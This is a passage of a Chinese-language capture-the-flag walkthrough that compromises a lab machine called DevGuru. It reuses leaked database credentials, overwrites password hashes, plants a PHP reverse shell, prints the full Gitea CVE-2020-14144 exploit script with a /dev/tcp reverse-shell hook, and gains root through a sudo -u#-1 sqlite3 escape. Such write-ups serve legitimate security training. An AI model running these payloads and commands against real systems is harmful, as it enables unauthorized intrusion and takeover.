|--------------------------------------------------------------------------
| Redis Databases
|--------------------------------------------------------------------------
|
| Redis is an open source, fast, and advanced key-value store that also
| provides a richer set of commands than a typical key-value systems
| such as APC or Memcached. Laravel makes it easy to dig right in.
|
*/
'redis' => [
'cluster' => false,
'default' => [
'host' => '127.0.0.1',
'password' => null,
'port' => 6379,
'database' => 0,
],
],
/*
|--------------------------------------------------------------------------
| Use DB configuration for testing
|--------------------------------------------------------------------------
|
| When running plugin tests OctoberCMS by default uses SQLite in memory.
| You can override this behavior by setting `useConfigForTesting` to true.
|
| After that OctoberCMS will take DB parameters from the config.
| If file `/config/testing/database.php` exists, config will be read from it,
| but remember that when not specified it will use parameters specified in
| `/config/database.php`.
|
*/
'useConfigForTesting' => false,
];
发现mysql的账号和密码:
'mysql' => [
'driver' => 'mysql',
'engine' => 'InnoDB',
'host' => 'localhost',
'port' => 3306,
'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',
'charset' => 'utf8mb4',
'collation' => 'utf8mb4_unicode_ci',
'prefix' => '',
'varcharmax' => 191,
],
2、数据库添加用户
登录adminer.php后台地址
http://192.168.5.12/adminer.php

'database' => 'octoberdb',
'username' => 'october',
'password' => 'SQ66EBYx4GT3byXH',

登录成功

打开user表,发现有条用户数据:

用户:frank
密码:$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK
3、密码分析
我们将 passwd 字段内容在kali中保存至hash.txt
vim hash.txt
$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK
然后使用John对frank用户的密码MD5值进行爆破
┌──(root㉿kali)-[~]
└─# john hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
没有结果,但是知道了加密方式是 bcrypt
我们利用 CyberChef 在线工具,通过 Bcrypt 加密方式设置一个密码 Admin@123,用于改库
Admin@123
$2a$10$VojrU9aF3v/vU.Z1tHg3oeZ8wrAqN38WB3PZbAXaRnifMGnAHFPUG
改库,修改 passwd 字段



4、登录后台
用户密码:frank/Admin@123
http://192.168.5.12/backend/backend/auth/signin

登录成功

5、写入反弹shell
function onStart(){
//nc监听7777端口
$s=fsockopen("192.168.5.11",1234);
$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);
}

保存成功后,访问主页:


kali:
┌──(root?kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.5.11] from (UNKNOWN) [192.168.5.12] 38930
/bin/sh: 0: can't access tty; job control turned off
$
反弹成功
6、切换为bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
┌──(root㉿kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.5.11] from (UNKNOWN) [192.168.5.12] 38930
/bin/sh: 0: can't access tty; job control turned off
$
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@devguru:/var/www/html$
7、获取gitea密码
权限还是太低了,再提高shell权限,再/var/backups/下发现备份文件app.ini.bak。
文件有如下内容:
[database]
; Database to use. Either "mysql", "postgres", "mssql" or "sqlite3".
DB_TYPE = mysql
HOST = 127.0.0.1:3306
NAME = gitea
USER = gitea
; Use PASSWD = `your password` for quoting if you use special characters in the password.
PASSWD = UfFPTF8C8jjxVF2m
还是回到adminer.php用上边提供的账号密码和数据库进行登录


在user表下发现frank用户数据,加密方式是pbkdf2

8、修改frank密码
那么我们把 passwd_hash_algo 字段的值修改为 bcrypt,并使用 cyberchef 在线工具修改 passwd 字段为Admin@123 的哈希值
修改加密方式为:Bcrypt
密码改为:Admin@123
$2a$10$VojrU9aF3v/vU.Z1tHg3oeZ8wrAqN38WB3PZbAXaRnifMGnAHFPUG

用账号密码登录8585端口的后端frank/Admin@123


成功登录Gitea后台

9、Gitea漏洞(CVE-2020-14144)利用
从页面中得知 Gitea 版本为1.12.5 ,我们借助 exploit-db 查找相关漏洞
searchsploit Gitea | grep 1.12.5
searchsploit -m 49571.py
cat /root/49571.py
┌──(root㉿kali)-[~]
└─# searchsploit Gitea | grep 1.12.5
Gitea 1.12.5 - Remote Code Execution (Authenticated) | multiple/webapps/49571.py
┌──(root㉿kali)-[~]
└─# searchsploit -m 49571.py
Exploit: Gitea 1.12.5 - Remote Code Execution (Authenticated)
URL: https://www.exploit-db.com/exploits/49571
Path: /usr/share/exploitdb/exploits/multiple/webapps/49571.py
Codes: N/A
Verified: False
File Type: Python script, ASCII text executable
Copied to: /root/49571.py
┌──(root㉿kali)-[~]
└─# cat /root/49571.py
# Exploit Title: Gitea 1.12.5 - Remote Code Execution (Authenticated)
# Date: 17 Feb 2020
# Exploit Author: Podalirius
# PoC demonstration article: https://podalirius.net/en/articles/exploiting-cve-2020-14144-gitea-authenticated-remote-code-execution/
# Vendor Homepage: https://gitea.io/
# Software Link: https://dl.gitea.io/
# Version: >= 1.1.0 to <= 1.12.5
# Tested on: Ubuntu 16.04 with GiTea 1.6.1
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import argparse
import os
import pexpect
import random
import re
import sys
import time
import requests
requests.packages.urllib3.disable_warnings()
requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
try:
requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL'
except AttributeError:
pass
class GiTea(object):
def __init__(self, host, verbose=False):
super(GiTea, self).__init__()
self.verbose = verbose
self.host = host
self.username = None
self.password = None
self.uid = None
self.session = None
def _get_csrf(self, url):
pattern = 'name="_csrf" content="([a-zA-Z0-9\-\_=]+)"'
csrf = []
while len(csrf) == 0:
r = self.session.get(url)
csrf = re.findall(pattern, r.text)
time.sleep(1)
csrf = csrf[0]
return csrf
def _get_uid(self, url):
pattern = 'name="_uid" content="([0-9]+)"'
uid = re.findall(pattern, self.session.get(url).text)
while len(uid) == 0:
time.sleep(1)
uid = re.findall(pattern, self.session.get(url).text)
uid = uid[0]
return int(uid)
def login(self, username, password):
if self.verbose == True:
print(" [>] login('%s', ...)" % username)
self.session = requests.Session()
r = self.session.get('%s/user/login' % self.host)
self.username = username
self.password = password
# Logging in
csrf = self._get_csrf(self.host)
r = self.session.post(
'%s/user/login?redirect_to=%%2f%s' % (self.host, self.username),
data = {'_csrf':csrf, 'user_name':username, 'password':password},
allow_redirects=True
)
if b'Username or password is incorrect.' in r.content:
return False
else:
# Getting User id
self.uid = self._get_uid(self.host)
return True
def repo_create(self, repository_name):
if self.verbose == True:
print(" [>] Creating repository : %s" % repository_name)
csrf = self._get_csrf(self.host)
# Create repo
r = self.session.post(
'%s/repo/create' % self.host,
data = {
'_csrf' : csrf,
'uid' : self.uid,
'repo_name' : repository_name,
'description' : "Lorem Ipsum",
'gitignores' : '',
'license' : '',
'readme' : 'Default',
'auto_init' : 'off'
}
)
return None
def repo_delete(self, repository_name):
if self.verbose == True:
print(" [>] Deleting repository : %s" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings' % (self.host, self.username, repository_name))
# Delete repository
r = self.session.post(
'%s/%s/%s/settings' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'action' : "delete",
'repo_name' : repository_name
}
)
return
def repo_set_githook_pre_receive(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_pre_receive('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name))
# Set pre receive git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/pre-receive' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return
def repo_set_githook_update(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_update('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name))
# Set update git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/update' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return
def repo_set_githook_post_receive(self, repository_name, content):
if self.verbose == True:
print(" [>] repo_set_githook_post_receive('%s')" % repository_name)
csrf = self._get_csrf('%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name))
# Set post receive git hook
r = self.session.post(
'%s/%s/%s/settings/hooks/git/post-receive' % (self.host, self.username, repository_name),
data = {
'_csrf' : csrf,
'content' : content
}
)
return
def logout(self):
if self.verbose == True:
print(" [>] logout()")
# Logging out
r = self.session.get('%s/user/logout' % self.host)
return None
def trigger_exploit(host, username, password, repository_name, verbose=False):
# Create a temporary directory
tmpdir = os.popen('mktemp -d').read().strip()
os.chdir(tmpdir)
# We create some files in the repository
os.system('touch README.md')
rndstring = ''.join([hex(random.randint(0,15))[2:] for k in range(32)])
os.system('echo "%s" >> README.md' % rndstring)
os.system('git init')
os.system('git add README.md')
os.system('git commit -m "Initial commit"')
# Connect to remote source repository
os.system('git remote add origin %s/%s/%s.git' % (host, username, repository_name))
# Push the files (it will trigger post-receive git hook)
conn = pexpect.spawn("/bin/bash -c 'cd %s && git push -u origin master'" % tmpdir)
conn.expect("Username for .*: ")
conn.sendline(username)
conn.expect("Password for .*: ")
conn.sendline(password)
conn.expect("Total.*")
print(conn.before.decode('utf-8').strip())
return None
def header():
print(""" _____ _ _______
/ ____(_)__ __| CVE-2020-14144
| | __ _ | | ___ __ _
| | |_ | | | |/ _ \/ _` | Authenticated Remote Code Execution
| |__| | | | | __/ (_| |
\_____|_| |_|\___|\__,_| GiTea versions >= 1.1.0 to <= 1.12.5
""")
if __name__ == '__main__':
header()
parser = argparse.ArgumentParser(description='Process some integers.')
parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Increase verbosity.')
parser.add_argument('-t','--target', required=True, type=str, help='Target host (http://..., https://... or domain name)')
parser.add_argument('-u','--username', required=True, type=str, default=None, help='GiTea username')
parser.add_argument('-p','--password', required=True, type=str, default=None, help='GiTea password')
parser.add_argument('-I','--rev-ip', required=False, type=str, default=None, help='Reverse shell listener IP')
parser.add_argument('-P','--rev-port', required=False, type=int, default=None, help='Reverse shell listener port')
parser.add_argument('-f','--payload-file', required=False, default=None, help='Path to shell script payload to use.')
args = parser.parse_args()
if (args.rev_ip == None or args.rev_port == None):
if args.payload_file == None:
print('[!] Either (-I REV_IP and -P REV_PORT) or (-f PAYLOAD_FILE) options are needed')
sys.exit(-1)
# Read specific payload file
if args.payload_file != None:
f = open(args.payload_file, 'r')
hook_payload = ''.join(f.readlines())
f.close()
else:
hook_payload = """#!/bin/bash\nbash -i >& /dev/tcp/%s/%d 0>&1 &\n""" % (args.rev_ip, args.rev_port)
if args.target.startswith('http://'):
pass
elif args.target.startswith('https://'):
pass
else:
args.target = 'https://' + args.target
print('[+] Starting exploit ...')
g = GiTea(args.target, verbose=args.verbose)
if g.login(args.username, args.password):
reponame = 'vuln'
g.repo_delete(reponame)
g.repo_create(reponame)
g.repo_set_githook_post_receive(reponame, hook_payload)
g.logout()
trigger_exploit(g.host, g.username, g.password, reponame, verbose=args.verbose)
g.repo_delete(reponame)
else:
print('\x1b[1;91m[!]\x1b[0m Could not login with these credentials.')
print('[+] Exploit completed !')
这是一个 RCE 脚本,我们查看具体内容,发现可以发现利用的原理就是在 Settings -> Git Hooks 中写入shell反弹语句






#!/bin/bash
bash -i >& /dev/tcp/192.168.5.11/2233 0>&1 &

继续阅读演示文章,告诉我们需要向仓库提交一次代码,然后就可以 reverse shell,那么实际上,我们直接修改仓库中的代码,也差不多可以起到一样的效果。

修改仓库中的代码




然后直接进行提交

成功 reverse shell
┌──(root㉿kali)-[~]
└─# nc -lvvnp 2233
listening on [any] 2233 ...
connect to [192.168.5.11] from (UNKNOWN) [192.168.5.12] 46388
bash: cannot set terminal process group (600): Inappropriate ioctl for device
bash: no job control in this shell
frank@devguru:~/gitea-repositories/frank/devguru-website.git$
基础提权后拿到user的flag
cd
frank@devguru:~$ ls
ls
gitea-repositories
frank@devguru:~$
frank@devguru:~$ cd /home/
cd /home/
frank@devguru:/home$ ls -la
ls -la
total 12
drwxr-xr-x 3 root root 4096 Nov 18 2020 .
drwxr-xr-x 25 root root 4096 Nov 19 2020 ..
drwxr-x--- 7 frank frank 4096 Nov 19 2020 frank
frank@devguru:/home$ cd frank
cd frank
frank@devguru:/home/frank$
frank@devguru:/home/frank$ ls
ls
data
user.txt
frank@devguru:/home/frank$
frank@devguru:/home/frank$ cat user.txt
cat user.txt
22854d0aec6ba776f9d35bf7b0e00217
frank@devguru:/home/frank$
三、权限提升
1、查看能执行的sudo命令
frank@devguru:/home/frank$ cd
cd
frank@devguru:~$
frank@devguru:~$
frank@devguru:~$
frank@devguru:~$ sudo -l
sudo -l
Matching Defaults entries for frank on devguru:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User frank may run the following commands on devguru:
(ALL, !root) NOPASSWD: /usr/bin/sqlite3
frank@devguru:~$
发现一个sqlite3可以执行,但是权限是非root用户,同时,frank用户无法直接以root身份运行/bin/bash。
2、sudo < v1.28 提权
在 HackTricks 上查阅相关信息:Linux Privilege Escalation - HackTricks

3、通过命令查看 sudo 版本信息
frank@devguru:~$ sudo -V
sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
frank@devguru:~$
sudo版本为 1.8.21p2,存在被利用的可能
4、sqlite3利用
在 sqlite3 | GTFOBins 上查阅 sqlite3 相关信息

5、提权
综合以上信息,我们可以构造如下命令来获取root权限
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
frank@devguru:~$ sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
sudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'
id
uid=0(root) gid=1000(frank) groups=1000(frank)
whoami
root
cd /root
ls
msg.txt
root.txt
cat root.txt
96440606fb88aa7497cde5a8e68daf8f
成功利用
flag1{22854d0aec6ba776f9d35bf7b0e00217}
flag2{96440606fb88aa7497cde5a8e68daf8f}
本文涉及的技术方法仅适用于 授权测试环境 或 合法 CTF 赛事。请勿在未授权的情况下对任何系统进行测试。安全之路,始于合规,终于责任。